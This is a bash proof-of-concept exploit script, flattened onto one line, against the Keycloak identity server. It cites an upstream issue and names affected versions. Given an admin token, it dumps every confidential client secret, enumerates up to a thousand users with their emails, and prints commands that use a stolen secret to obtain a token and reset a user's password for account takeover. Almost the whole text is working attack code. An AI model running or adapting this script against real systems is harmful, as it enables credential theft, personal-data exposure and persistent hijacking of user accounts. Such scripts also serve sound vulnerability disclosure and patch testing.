#!/bin/bash # PoC - Keycloak Client Secret Disclosure + User Enumeration + ATO # Ref: https://github.com/keycloak/keycloak/issues/49220 # Affected: All versions <= 26.5.6 (no CVE) # Fixed: 26.5.7+ # Auth required: Admin token for initial secret dump (view-clients) # Note: JWT admin token is only required for the initial phase. # Dumped client secrets remain valid until manually rotated, # enabling persistent ATO via client_credentials without further admin access. # Impact: Raw client secrets + full user PII dump + account takeover KC="${1:-https://keycloak-target.com}" TOKEN="${2:-JWT-TOKEN}" REALM="${3:-target-realm}" if [[ "$TOKEN" == "JWT-TOKEN" ]]; then echo "Usage: $0 " exit 1 fi echo "[*] Keycloak Client Secret Disclosure + User Dump - issue #49220" echo "[*] Target: $KC | Realm: $REALM" echo "" echo "=== Step 1: Client Secret Disclosure ===" CLIENTS=$(curl -s -H "Authorization: Bearer $TOKEN" "$KC/admin/realms/$REALM/clients") echo "$CLIENTS" | jq '.[] | {clientId, publicClient, secret}' 2>/dev/null echo "" echo "=== Step 2: Secrets via /client-secret endpoint ===" echo "$CLIENTS" | jq -r '.[] | select(.publicClient == false) | .id + " " + .clientId' | while read ID CID; do SECRET=$(curl -s -H "Authorization: Bearer $TOKEN" \ "$KC/admin/realms/$REALM/clients/$ID/client-secret" \ | jq -r '.value // "null"') echo "$CID : $SECRET" done echo "" echo "=== Step 3: User Enumeration ===" curl -s -H "Authorization: Bearer $TOKEN" \ "$KC/admin/realms/$REALM/users?max=1000" \ | jq '.[] | {id, username, email, enabled, emailVerified}' 2>/dev/null echo "" echo "=== Step 4: Account Takeover via client_credentials ===" echo "[-] Extract non-null secret from Step 2, then:" echo " TOKEN=\$(curl -s -X POST \"$KC/realms/$REALM/protocol/openid-connect/token\" \\" echo " -d \"grant_type=client_credentials&client_id=&client_secret=\" \\" echo " | jq -r '.access_token')" echo "" echo " curl -s -X PUT \"$KC/admin/realms/$REALM/users//reset-password\" \\" echo " -H \"Authorization: Bearer \$TOKEN\" \\" echo " -H \"Content-Type: application/json\" \\" echo " -d '{\"type\":\"password\",\"value\":\"NewPassword123\",\"temporary\":false}'"